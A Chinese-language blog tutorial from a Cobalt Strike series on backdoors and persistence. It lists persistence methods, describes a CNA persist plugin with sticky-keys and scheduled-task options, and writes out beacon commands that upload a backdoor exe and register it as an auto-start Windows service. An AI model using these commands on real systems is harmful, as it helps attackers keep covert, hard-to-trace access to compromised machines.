Cobalt Strike系列 6 后门与权限维持
简介
- 后门
- CS插件权限维持
后门
当我们接到某个任务应急的时候,往往系统已经是被入侵了,甚至已经被脱库,且植入后门继续进行持续攻击。 攻击者在后渗透阶段的目的是什么?完成作战目的后,不让防御者溯源,即反溯源。攻击者进入持续攻击阶段,与前面的渗透攻击的重要区别就在于持续性,权限的维持,后门在持续攻击中就是非常重要的一环。
常见后门种类:
- 本地后门
- 第三方后门
根据触发机制又可以分为:
- 主动后门
- 被动后门
一个优秀的后门最起码应该是隐蔽的,然后要稳定。
一个优秀成熟的后门,能够极大的增加防御者投入在对抗攻击中的人力成本,物力成本。
劣质的后门,不但起不到持久化作用,还会加快结束攻击者的行动,甚至会暴露攻击者。
CS插件权限维持
常见维持权限的手段:
- 注册表
- 启动项
- 计划任务
- 服务
- 后门
- dll劫持
- 等等
CS添加插件
CS中需要手动添加插件,用来权限维持。
需要先下载cna脚本,我是在春秋上下的,可以自己去取。
然后load脚本。
再右键beacon就会发现,多了persist选项。
简单介绍下几个模块的用法。
前面几个都是基于dll劫持的。
sticky keys 是shift后门。
scheduled job是计划任务维持。
使用的话直接使用就可以了。
开机启动后门
我们尝试用生成的exe,添加到开机任务来维持权限。
首先生成exe后门,测试就不用免杀,实际中生成的基本不能直接用,统统被杀软爆了。
然后在beacon中操作:
beacon> cd C:\WINDOWS\Temp\
beacon> upload /Users/xxxx/Desktop/1.exe
beacon> shell sc create "aaser" binpath= "C:\WINDOWS\Temp\1.exe"
beacon> shell sc description "aaser" "description"
beacon> shell sc config "aaser" start= auto
beacon> shell net start "aaser"
这样一来每次重启,都会执行1.exe返回beacon。当然问题最大的还是免杀,后面再讲这个问题。
dll后门
坑先挖好,暂时不知道怎么写,有些细节不知道怎么去展开。
结语
本来想写下转发的,但是环境没搭建好,所以写这个。 在写的过程中发现,铺开来讲实在是太多了,一个dll都能拉出来专门开一个坑了,还有自己编写后门,我需要再考虑考虑这个问题。